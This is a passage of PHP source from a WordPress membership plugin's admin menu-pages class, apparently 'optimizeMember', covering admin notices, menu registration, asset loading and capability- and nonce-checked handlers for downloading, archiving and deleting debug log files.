* enqueue_admin_notice notice for this is called on every GET request through 'membership_option_check'
* display_admin_notice is called here
*/
$notice = '<strong>NOTE:</strong> optimizeMember security restrictions will NOT be enforced until you\'ve configured a Membership Options Page. See: <code>optimizeMember -> General Options -> Membership Options Page</code>.';
if(!$options["membership_options_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
if($options["login_welcome_page"] && $options["login_welcome_page"] === $options["membership_options_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)) && ($notice = '<strong>optimizeMember:</strong> Your Login Welcome Page is the same as your Membership Options Page. Please correct this. See: <code>optimizeMember -> General Options -> Login Welcome Page</code>.'))
($enqueue_notices === true || in_array("page-conflict-warnings", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*", true) : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
/**/
if($options["membership_options_page"] && (string)get_option("page_on_front") === $options["membership_options_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)) && ($notice = '<strong>optimizeMember:</strong> Your Membership Options Page is currently configured as your Home Page ( i.e. static page ) for WordPress. This causes internal conflicts with optimizeMember. Your Membership Options Page MUST stand alone. Please correct this. See: <code>WordPress -> Reading Options</code>. Or change: <code>optimizeMember -> General Options -> Membership Options Page</code>.'))
($enqueue_notices === true || in_array("page-conflict-warnings", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*", true) : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
/**/
if($options["login_welcome_page"] && (string)get_option("page_on_front") === $options["login_welcome_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)) && ($notice = '<strong>optimizeMember:</strong> Your Login Welcome Page is currently configured as your Home Page ( i.e. static page ) for WordPress. This causes internal conflicts with optimizeMember. Your Login Welcome Page MUST stand alone. Please correct this. See: <code>WordPress -> Reading Options</code>. Or change: <code>optimizeMember -> General Options -> Login Welcome Page</code>.'))
($enqueue_notices === true || in_array("page-conflict-warnings", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*", true) : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
/**/
if($options["membership_options_page"] && (string)get_option("page_for_posts") === $options["membership_options_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)) && ($notice = '<strong>optimizeMember:</strong> Your Membership Options Page is currently configured as your Posts Page ( i.e. static page ) for WordPress. This causes internal conflicts with optimizeMember. Your Membership Options Page MUST stand alone. Please correct this. See: <code>WordPress -> Reading Options</code>. Or change: <code>optimizeMember -> General Options -> Membership Options Page</code>.'))
($enqueue_notices === true || in_array("page-conflict-warnings", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*", true) : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
/**/
if($options["login_welcome_page"] && (string)get_option("page_for_posts") === $options["login_welcome_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)) && ($notice = '<strong>optimizeMember:</strong> Your Login Welcome Page is currently configured as your Posts Page ( i.e. static page ) for WordPress. This causes internal conflicts with optimizeMember. Your Login Welcome Page MUST stand alone. Please correct this. See: <code>WordPress -> Reading Options</code>. Or change: <code>optimizeMember -> General Options -> Login Welcome Page</code>.'))
($enqueue_notices === true || in_array("page-conflict-warnings", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*", true) : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
/**/
if($options["file_download_limit_exceeded_page"] && $options["file_download_limit_exceeded_page"] === $options["membership_options_page"] && ($display_notices === true || in_array("page-conflict-warnings", (array)$display_notices)) && ($notice = '<strong>optimizeMember:</strong> Your Download Limit Exceeded Page is the same as your Membership Options Page. Please correct this. See: <code>optimizeMember -> Download Options</code>.'))
($enqueue_notices === true || in_array("page-conflict-warnings", (array)$enqueue_notices)) ? c_ws_plugin__optimizemember_admin_notices::enqueue_admin_notice($notice, "*:*", true) : c_ws_plugin__optimizemember_admin_notices::display_admin_notice($notice, true);
}
/**/
$updated_all_options = true; /* Flag indicating this routine was processed successfully; and that all optimizeMember options have been updated successfully.*/
}
/**/
foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
do_action("ws_plugin__optimizemember_after_update_all_options", get_defined_vars()); /* If you use this Hook, be sure to use ``wp_verify_nonce()``. */
unset($__refs, $__v); /* Unset defined __refs, __v. */
/**/
return apply_filters("ws_plugin__optimizemember_update_all_options", (($updated_all_options) ? true : false), get_defined_vars());
}
/**
* Adds option menus / sub-menus.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @attaches-to ``add_action("admin_menu");``
*
* @return null
*/
public static function add_admin_options()
{
do_action("ws_plugin__optimizemember_before_add_admin_options", get_defined_vars());
/**/
add_filter("plugin_action_links", "c_ws_plugin__optimizemember_menu_pages::_add_settings_link", 10, 2);
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_create_menu_items", true, get_defined_vars()))
{
if((is_multisite() && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() && !is_main_site()) || apply_filters("ws_plugin__optimizemember_during_add_admin_options_clear_right_side", false, get_defined_vars()))
$GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["menu_pages"] = array(); /* Clear right side. */
/**/
$menu = apply_filters("ws_plugin__optimizemember_during_add_admin_options_menu_slug", "ws-plugin--optimizemember-start", get_defined_vars());
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_menu_page", true, get_defined_vars()))
add_menu_page("OptimizeMember", "OptimizeMember", "create_users", $menu, "c_ws_plugin__optimizemember_menu_pages::start_page", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/images/brand-favicon.png", '30.384567');
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_start_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember Quick-Start Guide", "Quick-Start Guide", "create_users", "ws-plugin--optimizemember-start", "c_ws_plugin__optimizemember_menu_pages::start_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_1", true, get_defined_vars())) /* Divider. */
add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
// if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_new_gen_ops_page", true, get_defined_vars()))
// add_submenu_page($menu, "OptimizeMember NEW General Options", "NEW General Options", "create_users", "ws-plugin--optimizemember-new-gen-ops", "c_ws_plugin__optimizemember_menu_pages::opm_gen_ops_page");
/**/
// if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_1", true, get_defined_vars())) /* Divider. */
// add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_gen_ops_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember General Options", "General Options", "create_users", "ws-plugin--optimizemember-gen-ops", "c_ws_plugin__optimizemember_menu_pages::gen_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_res_ops_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember Restriction Options", "Restriction Options", "create_users", "ws-plugin--optimizemember-res-ops", "c_ws_plugin__optimizemember_menu_pages::res_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_down_ops_page", (!is_multisite() || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() || is_main_site()), get_defined_vars()))
add_submenu_page($menu, "OptimizeMember Download Options", "Download Options", "create_users", "ws-plugin--optimizemember-down-ops", "c_ws_plugin__optimizemember_menu_pages::down_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_2", true, get_defined_vars())) /* Divider. */
add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_new_user_page", true, get_defined_vars())) /* Shortcut. */
add_submenu_page($menu, "OptimizeMember / Add A Member", "Add A Member", "create_users", "user-new.php");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_browse_users_page", true, get_defined_vars())) /* Shortcut. */
add_submenu_page($menu, "OptimizeMember / Browse Members", "Browse Members", "create_users", "users.php");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_3", true, get_defined_vars())) /* Divider. */
add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_paypal_ops_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember PayPal Options", "PayPal Options", "create_users", "ws-plugin--optimizemember-paypal-ops", "c_ws_plugin__optimizemember_menu_pages::paypal_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_paypal_buttons_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember PayPal Buttons", "PayPal Buttons", "create_users", "ws-plugin--optimizemember-paypal-buttons", "c_ws_plugin__optimizemember_menu_pages::paypal_buttons_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_4", true, get_defined_vars())) /* Divider. */
add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_trk_ops_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember API / Tracking", "API / Tracking", "create_users", "ws-plugin--optimizemember-trk-ops", "c_ws_plugin__optimizemember_menu_pages::trk_ops_page");
/**/
// if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_els_ops_page", true, get_defined_vars()))
// add_submenu_page($menu, "OptimizeMember API / List Servers", "API / List Servers", "create_users", "ws-plugin--optimizemember-els-ops", "c_ws_plugin__optimizemember_menu_pages::els_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_api_ops_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember API / Notifications", "API / Notifications", "create_users", "ws-plugin--optimizemember-api-ops", "c_ws_plugin__optimizemember_menu_pages::api_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_scripting_page", true, get_defined_vars()))
add_submenu_page($menu, "OptimizeMember API / Scripting", "API / Scripting", "create_users", "ws-plugin--optimizemember-scripting", "c_ws_plugin__optimizemember_menu_pages::scripting_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_5", true, get_defined_vars())) /* Divider. */
add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_integrations_page", (!is_multisite() || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() || is_main_site()), get_defined_vars()))
add_submenu_page($menu, "OptimizeMember / Other Integrations", "Other Integrations", "create_users", "ws-plugin--optimizemember-integrations", "c_ws_plugin__optimizemember_menu_pages::integrations_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_mms_ops_page", (!is_multisite() || is_main_site()), get_defined_vars()))
add_submenu_page($menu, "OptimizeMember Multisite Configuration", "Multisite (Config)", "create_users", "ws-plugin--optimizemember-mms-ops", "c_ws_plugin__optimizemember_menu_pages::mms_ops_page");
if /* Divider. */(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_5", true, get_defined_vars()))
add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_logs_page", (!is_multisite() || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() || is_main_site()), get_defined_vars()))
add_submenu_page($menu, "optimizeMember Logs", "Log Files (Debug)", "create_users", "ws-plugin--optimizemember-logs", "c_ws_plugin__optimizemember_menu_pages::logs_page");
/**/
// if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_divider_6", true, get_defined_vars())) /* Divider. */
// add_submenu_page($menu, "", '<span style="display:block; margin:1px 0 1px -5px; padding:0; height:1px; line-height:1px; background:#CCCCCC;"></span>', "create_users", "#");
/**/
// if(apply_filters("ws_plugin__optimizemember_during_add_admin_options_add_info_page", (!is_multisite() || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() || is_main_site()), get_defined_vars()))
//add_submenu_page($menu, "optimizeMember Information", "optimizeMember Info", "create_users", "ws-plugin--optimizemember-info", "c_ws_plugin__optimizemember_menu_pages::info_page");
/**/
do_action("ws_plugin__optimizemember_during_add_admin_options_additional_pages", get_defined_vars());
}
/**/
do_action("ws_plugin__optimizemember_after_add_admin_options", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Adds network option menus / sub-menus.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @attaches-to ``add_action("network_admin_menu");``
*
* @return null
*/
public static function add_network_admin_options()
{
do_action("ws_plugin__optimizemember_before_add_network_admin_options", get_defined_vars());
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_network_admin_options_create_menu_items", true, get_defined_vars()))
{
if((is_multisite() && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() && !is_main_site()) || apply_filters("ws_plugin__optimizemember_during_add_network_admin_options_clear_right_side", false, get_defined_vars()))
$GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["menu_pages"] = array(); /* Clear right side. */
/**/
$menu = "ws-plugin--optimizemember-mms-ops"; /* Used below for nesting additional sub-menu pages. */
/**/
add_menu_page("optimizeMember", "optimizeMember", "create_users", $menu, "c_ws_plugin__optimizemember_menu_pages::mms_ops_page", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/images/brand-favicon.png");
/**/
add_submenu_page($menu, "optimizeMember Multisite ( Configuration )", "Multisite (Config)", "create_users", "ws-plugin--optimizemember-mms-ops", "c_ws_plugin__optimizemember_menu_pages::mms_ops_page");
/**/
if(apply_filters("ws_plugin__optimizemember_during_add_network_admin_options_add_info_page", (!is_multisite() || !c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() || is_main_site()), get_defined_vars()))
add_submenu_page($menu, "optimizeMember Information", "optimizeMember Info", "create_users", "ws-plugin--optimizemember-info", "c_ws_plugin__optimizemember_menu_pages::info_page");
/**/
do_action("ws_plugin__optimizemember_during_add_network_admin_options_additional_pages", get_defined_vars());
}
/**/
do_action("ws_plugin__optimizemember_after_add_network_admin_options", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* A sort of callback function to add the settings link.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @attaches-to ``add_filter("plugin_action_links");``
*
* @param array $actions Expects an existing array of actions links, passed in by the Filter.
* @param str $plugin_file Expects path to a plugin file. We need to test against this for optimizeMember.
* @return array An array of links, Filtered by this routine.
*/
public static function _add_settings_link($actions = FALSE, $plugin_file = FALSE)
{
foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
do_action("_ws_plugin__optimizemember_before_add_settings_link", get_defined_vars());
unset($__refs, $__v); /* Unset defined __refs, __v. */
/**/
if($plugin_file === $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["plugin_basename"] && is_array($actions))
{
$settings = '<a href="'.esc_attr(admin_url("/admin.php?page=ws-plugin--optimizemember-gen-ops")).'">Settings</a>';
array_unshift($actions, apply_filters("ws_plugin__optimizemember_add_settings_link", $settings, get_defined_vars()));
/**/
foreach(array_keys(get_defined_vars())as$__v)$__refs[$__v]=&$$__v;
do_action("_ws_plugin__optimizemember_during_add_settings_link", get_defined_vars());
unset($__refs, $__v); /* Unset defined __refs, __v. */
}
/**/
return apply_filters("_ws_plugin__optimizemember_add_settings_link", $actions, get_defined_vars());
}
/**
* Enqueue scripts for administrative menu pages.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @attaches-to ``add_action("admin_print_scripts");``
*
* @return null
*/
public static function add_admin_scripts()
{
do_action("ws_plugin__optimizemember_before_add_admin_scripts", get_defined_vars());
/**/
if(!empty($_GET["page"]) && preg_match("/ws-plugin--optimizemember-/", $_GET["page"]))
{
wp_enqueue_script("jquery");
wp_enqueue_script("thickbox");
wp_enqueue_script("media-upload");
wp_enqueue_script("jquery-ui-core");
wp_enqueue_script("jquery-sprintf", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/includes/jquery/jquery.sprintf/jquery.sprintf-min.js", array("jquery"), c_ws_plugin__optimizemember_utilities::ver_checksum());
wp_enqueue_script("jquery-json-ps", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/includes/jquery/jquery.json-ps/jquery.json-ps-min.js", array("jquery"), c_ws_plugin__optimizemember_utilities::ver_checksum());
wp_enqueue_script("jquery-ui-effects", $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["dir_url"]."/includes/jquery/jquery.ui-effects/jquery.ui-effects-min.js", array("jquery", "jquery-ui-core"), c_ws_plugin__optimizemember_utilities::ver_checksum());
wp_enqueue_script("ws-plugin--optimizemember-menu-pages", site_url("/?ws_plugin__optimizemember_menu_pages_js=".urlencode(mt_rand())), array("jquery", "thickbox", "media-upload", "jquery-sprintf", "jquery-json-ps", "jquery-ui-core", "jquery-ui-effects", "password-strength-meter"), c_ws_plugin__optimizemember_utilities::ver_checksum());
/**/
do_action("ws_plugin__optimizemember_during_add_admin_scripts", get_defined_vars());
}
/**/
do_action("ws_plugin__optimizemember_after_add_admin_scripts", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Enqueue styles for administrative menu pages.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @attaches-to ``add_action("admin_print_styles");``
*
* @return null
*/
public static function add_admin_styles()
{
do_action("ws_plugin__optimizemember_before_add_admin_styles", get_defined_vars());
/**/
if(!empty($_GET["page"]) && preg_match("/ws-plugin--optimizemember-/", $_GET["page"]))
{
wp_enqueue_style("thickbox");
wp_enqueue_style("ws-plugin--optimizemember-menu-pages", site_url("/?ws_plugin__optimizemember_menu_pages_css=".urlencode(mt_rand())), array("thickbox"), c_ws_plugin__optimizemember_utilities::ver_checksum(), "all");
/**/
do_action("ws_plugin__optimizemember_during_add_admin_styles", get_defined_vars());
}
/**/
do_action("ws_plugin__optimizemember_after_add_admin_styles", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Quick Start page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function start_page()
{
do_action("ws_plugin__optimizemember_before_start_page", get_defined_vars());
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/start.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_start_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Main Multisite Options page.
*
* @package optimizeMember\Menu_Pages
* @since 3.5
*
* @return null
*/
public static function mms_ops_page()
{
do_action("ws_plugin__optimizemember_before_mms_ops_page", get_defined_vars());
/**/
if(c_ws_plugin__optimizemember_menu_pages::update_all_options())
c_ws_plugin__optimizemember_mms_patches::mms_patches(true);
/**/
include_once dirname(dirname(__FILE__))."/menu-pages/mms-ops.inc.php";
/**/
do_action("ws_plugin__optimizemember_after_mms_ops_page", get_defined_vars());
/**/
return; /* Return for uniformity. */
}
/**
* Builds and handles the Logs page.
*/
public static function logs_page()
{
do_action("ws_plugin__optimizemember_before_logs_page", get_defined_vars());
c_ws_plugin__optimizemember_menu_pages::update_all_options();
c_ws_plugin__optimizemember_menu_pages::archive_logs_start_fresh();
c_ws_plugin__optimizemember_menu_pages::delete_logs_start_fresh();
$logs_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"];
if(!is_dir($logs_dir) && is_writable(dirname(c_ws_plugin__optimizemember_utils_dirs::strip_dir_app_data($logs_dir))))
mkdir($logs_dir, 0777, true).clearstatcache();
$htaccess = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"]."/.htaccess";
$htaccess_contents = trim(c_ws_plugin__optimizemember_utilities::evl(file_get_contents($GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir_htaccess"])));
if(is_dir($logs_dir) && is_writable($logs_dir) && !file_exists($htaccess))
file_put_contents($htaccess, $htaccess_contents).clearstatcache();
if /* If the security-enabled logs directory does not exist yet. */(!is_dir($logs_dir))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('The security-enabled logs directory (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($logs_dir)).'</code>) does not exist. Please create this directory manually & make it writable (chmod 777).', true);
else if /* If the logs directory is not writable yet. */(!is_writable($logs_dir))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Permissions error. The security-enabled logs directory (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($logs_dir)).'</code>) is not writable. Please make this directory writable (chmod 777).', true);
if /* If the .htaccess file has not been created yet. */(!file_exists($htaccess))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('The .htaccess protection file (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($htaccess)).'</code>) does not exist. Please create this file manually. Inside your .htaccess file, add this:<br /><pre>'.esc_html($htaccess_contents).'</pre>', true);
else if /* Else if the .htaccess file does not offer the required protection. */(!preg_match("/deny from all/i", file_get_contents($htaccess)))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Unprotected. The .htaccess protection file (<code>'.esc_html(c_ws_plugin__optimizemember_utils_dirs::doc_root_path($htaccess)).'</code>) does not contain <code>deny from all</code>. Inside your .htaccess file, add this:<br /><pre>'.esc_html($htaccess_contents).'</pre>', true);
if /* Logging disabled? */(!$GLOBALS["WS_PLUGIN__"]["optimizemember"]["o"]["gateway_debug_logs"])
c_ws_plugin__optimizemember_admin_notices::display_admin_notice('Logging is currently disabled by your configuration.');
include_once dirname(dirname(__FILE__))."/menu-pages/logs.inc.php";
do_action("ws_plugin__optimizemember_after_logs_page", get_defined_vars());
return /* Return for uniformity. */;
}
/**
* Handles log file downloads.
*
* @return null
*/
public static function log_file_downloader()
{
if(!current_user_can("create_users")) return;
if(is_multisite() && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() && !is_main_site())
return; // We do NOT provide this functionality on Child Blogs of a Blog Farm Network.
if(!empty($_GET["ws_plugin__optimizemember_download_log_file"]) && is_string($log_file = $_GET["ws_plugin__optimizemember_download_log_file"]) && strpos($log_file, "..") === false && strpos(basename($log_file), ".") !== 0)
if(!empty($_GET["ws_plugin__optimizemember_download_log_file_v"]) && is_string($nonce = $_GET["ws_plugin__optimizemember_download_log_file_v"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-download-log-file-v"))
{
$logs_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"];
if(file_exists($logs_dir."/".$log_file))
$log_file_contents = file_get_contents($logs_dir."/".$log_file);
else $log_file_contents = "";
@set_time_limit(0);
@ini_set("memory_limit", apply_filters("admin_memory_limit", WP_MAX_MEMORY_LIMIT));
@ini_set("zlib.output_compression", 0);
if(function_exists("apache_setenv"))
@apache_setenv("no-gzip", "1");
while (@ob_end_clean ());
status_header(200); // 200 OK status header.
header("Content-Encoding: none");
header("Accept-Ranges: none");
header("Content-Type: text/plain; charset=UTF-8");
header("Content-Length: ".strlen($log_file_contents));
header("Expires: ".gmdate("D, d M Y H:i:s", strtotime("-1 week"))." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header('Content-Disposition: attachment; filename="'.$log_file.'"');
exit($log_file_contents); // Log file.
}
}
/**
* Handles log file downloads (in ZIP format).
*
* @return null
*/
public static function logs_zip_downloader()
{
if(!current_user_can("create_users")) return;
if(is_multisite() && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() && !is_main_site())
return; // We do NOT provide this functionality on Child Blogs of a Blog Farm Network.
if(!empty($_POST["ws_plugin__optimizemember_logs_download_zip"]) && is_string($nonce = $_POST["ws_plugin__optimizemember_logs_download_zip"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-logs-download-zip"))
{
$logs_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"];
$optimizemember_logs_zip = $logs_dir."/".$_SERVER["HTTP_HOST"]."--optimizemember-logs.zip";
if(is_dir($logs_dir)) // Do we have a logs directory?
{
include_once ABSPATH . "wp-admin/includes/class-pclzip.php";
if(file_exists($optimizemember_logs_zip) && is_writable($optimizemember_logs_zip))
unlink($optimizemember_logs_zip);
$archive = new PclZip($optimizemember_logs_zip);
$archive->create($logs_dir, PCLZIP_OPT_REMOVE_ALL_PATH);
}
if(file_exists($optimizemember_logs_zip))
$optimizemember_logs_zip_size = filesize($optimizemember_logs_zip);
else $optimizemember_logs_zip_size = 0;
@set_time_limit(0);
@ini_set("memory_limit", apply_filters("admin_memory_limit", WP_MAX_MEMORY_LIMIT));
@ini_set("zlib.output_compression", 0);
if(function_exists("apache_setenv"))
@apache_setenv("no-gzip", "1");
while (@ob_end_clean ());
status_header(200); // 200 OK status header.
header("Content-Encoding: none");
header("Accept-Ranges: none");
header("Content-Type: application/zip");
header("Content-Length: ".$optimizemember_logs_zip_size);
header("Expires: ".gmdate("D, d M Y H:i:s", strtotime("-1 week"))." GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: no-cache, must-revalidate, max-age=0");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");
header('Content-Disposition: attachment; filename="'.basename($optimizemember_logs_zip).'"');
if($optimizemember_logs_zip_size && is_resource($resource = fopen($optimizemember_logs_zip, "rb")))
{
$_bytes_to_read = $optimizemember_logs_zip_size; // Total bytes we need to read for this file.
$chunk_size = apply_filters("ws_plugin__optimizemember_file_downloads_chunk_size", 2097152, get_defined_vars());
while /* We have bytes to read here. */($_bytes_to_read)
{
$_bytes_to_read -= ($_reading = ($_bytes_to_read > $chunk_size) ? $chunk_size : $_bytes_to_read);
echo /* Serve file in chunks (default chunk size is 2MB). */ fread($resource, $_reading);
flush /* Flush each chunk to the browser as it is served (avoids high memory consumption). */();
}
fclose /* Close file resource handle. */($resource);
unset /* Housekeeping. */($_bytes_to_read, $_reading);
}
exit; // Clean exit after serving file.
}
}
/**
* Archives existing log files and starts fresh with new logs.
*
* @package optimizeMember\Menu_Pages
* @since 120310
*
* @return null
*/
public static function archive_logs_start_fresh()
{
if(!current_user_can("create_users")) return;
if(is_multisite() && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() && !is_main_site())
return; // We do NOT provide this functionality on Child Blogs of a Blog Farm Network.
if(!empty($_POST["ws_plugin__optimizemember_logs_archive_start_fresh"]) && is_string($nonce = $_POST["ws_plugin__optimizemember_logs_archive_start_fresh"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-logs-archive-start-fresh"))
{
if(is_dir($logs_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"]))
foreach(scandir($logs_dir) as $log_file) // Archive existing log files here.
{
if(preg_match("/\.log$/", $log_file) && stripos($log_file, "-ARCHIVED-") === FALSE)
if(is_file ($log_dir_file = $logs_dir . "/" . $log_file) && is_writable($log_dir_file))
if(!rename ($log_dir_file, preg_replace ("/\.log$/i", "", $log_dir_file) . "-ARCHIVED-" . date ("m-d-Y") . "-" . time () . ".log"))
$error = true;
}
if(!empty($error))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice("Unknown error when attempting to archive log files. Please check directory permissions.", true);
else c_ws_plugin__optimizemember_admin_notices::display_admin_notice("All log files have been archived succesfully.");
}
}
/**
* Deletes existing log files and starts fresh with new logs.
*
* @package optimizeMember\Menu_Pages
* @since 120312
*
* @return null
*/
public static function delete_logs_start_fresh()
{
if(!current_user_can("create_users")) return;
if(is_multisite() && c_ws_plugin__optimizemember_utils_conds::is_multisite_farm() && !is_main_site())
return; // We do NOT provide this functionality on Child Blogs of a Blog Farm Network.
if(!empty($_POST["ws_plugin__optimizemember_logs_delete_start_fresh"]) && is_string($nonce = $_POST["ws_plugin__optimizemember_logs_delete_start_fresh"]) && wp_verify_nonce($nonce, "ws-plugin--optimizemember-logs-delete-start-fresh"))
{
if(is_dir($logs_dir = $GLOBALS["WS_PLUGIN__"]["optimizemember"]["c"]["logs_dir"]))
foreach(scandir($logs_dir) as $log_file) // Delete existing log files here.
{
if(preg_match("/\.log$/", $log_file))
if(is_file ($log_dir_file = $logs_dir . "/" . $log_file) && is_writable($log_dir_file))
if(!unlink($log_dir_file)) $error = true;
}
if(!empty($error))
c_ws_plugin__optimizemember_admin_notices::display_admin_notice("Unknown error when attempting to delete log files. Please check directory permissions.", true);
else c_ws_plugin__optimizemember_admin_notices::display_admin_notice("All log files have been deleted succesfully.");
}
}
/**
